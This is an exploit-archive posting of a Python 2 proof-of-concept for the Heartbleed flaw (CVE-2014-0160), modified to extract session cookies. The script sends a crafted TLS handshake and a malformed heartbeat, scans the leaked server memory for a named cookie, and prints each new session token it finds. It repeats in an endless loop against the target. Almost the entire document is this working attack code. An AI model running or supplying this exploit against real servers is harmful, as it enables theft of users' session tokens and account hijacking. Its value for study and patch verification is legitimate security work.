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Heartbleed User Session Extraction

Heartbleed User Session Extraction
Posted Apr 9, 2014
Authored by Michael Davis, Jared Stafford

This python script is a modification of the heartbleed proof of concept exploit that looks for cookies, specifically user sessions.

tags | exploit, proof of concept, python
advisories | CVE-2014-0160
MD5 | ce6a28cb9739e1a5ecedc0b40a7b3f7a

Heartbleed User Session Extraction

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#!/usr/bin/python

# Connects to servers vulnerable to CVE-2014-0160 and looks for cookies, specifically user sessions.
# Michael Davis (mike.philip.davis@gmail.com)

# Based almost entirely on the quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)

# The author disclaims copyright to this source code.

import select
import sys
import string
import struct
import socket
import time
from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
options.add_option('-c', '--cookie', type='str', default='session', help='Cookie to look for. (default: session)')


def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')

hb = h2bin('''
18 03 02 00 03
01 40 00
''')


class HeartBleeder(object):

server_response = None
socket = None
hostname = ''
port = 443
found_sessions = set()
cookie = 'session'
cookie_length = 56

def __init__(self, hostname='', cookie=''):
self.hostname = hostname
self.cookie = cookie

def connect(self):
"""
Connects to the remote server.
"""
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sys.stdout.flush()
self.socket.connect((self.hostname, self.port))
sys.stdout.flush()
self.socket.send(hello)
sys.stdout.flush()

def rcv_response(self):
while True:
_type, version, payload = self.rcv_message()
if _type is None:
print 'Server closed connection without sending Server Hello.'
return
# Look for server hello done message.
if _type == 22 and ord(payload[0]) == 0x0E:
break

def rcv_message(self):

record_header = self.rcv_all(5)
if record_header is None:
print 'Unexpected EOF receiving record header - server closed connection'
return None, None, None
_type, version, line = struct.unpack('>BHH', record_header)
payload = self.rcv_all(line, 10)
if payload is None:
print 'Unexpected EOF receiving record payload - server closed connection'
return None, None, None
# print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
return _type, version, payload

def rcv_all(self, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([self.socket], [], [], 5)
if self.socket in r:
data = self.socket.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata

def try_heartbeat(self):
self.socket.send(hb)
while True:
_type, version, self.payload = self.rcv_message()
if _type is None:
print 'No heartbeat response received, server likely not vulnerable'
return False

if _type == 24:
# print 'Received heartbeat response:'
self.parse_response()
if len(self.payload) > 3:
pass
# print 'WARNING: server returned more data than it should - server is vulnerable!'
else:
print 'Server processed malformed heartbeat, but did not return any extra data.'
return True

if _type == 21:
print 'Received alert:'
self.hexdump(self.payload)
print 'Server returned error, likely not vulnerable'
return False

def parse_response(self):
"""
Parses the response from the server for a session id.
"""
ascii = ''.join((c if 32 <= ord(c) <= 126 else ' ')for c in self.payload)
index = string.find(ascii, self.cookie)
if index >= 0:
info = ascii[index:index + self.cookie_length]
session = info.split(' ')[0]
session = string.replace(session, ';', '')
if session not in self.found_sessions:
self.found_sessions.add(session)
print session

def hexdump(self, payload):
"""
Prints out a hexdump in the event that server returns an error.
"""
for b in xrange(0, len(payload), 16):
line = [c for c in payload[b:b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in line)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.')for c in line)
print ' %04x: %-48s %s' % (b, hxdat, pdat)
print

def scan(self):
self.connect()
self.rcv_response()
self.try_heartbeat()


def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return

cookies_str = 'session'
if len(args) > 1:
cookies_str = args[1]

print cookies_str

while True:
heartbeat = HeartBleeder(hostname=args[0], cookie=cookies_str)
heartbeat.scan()


if __name__ == '__main__':
main()


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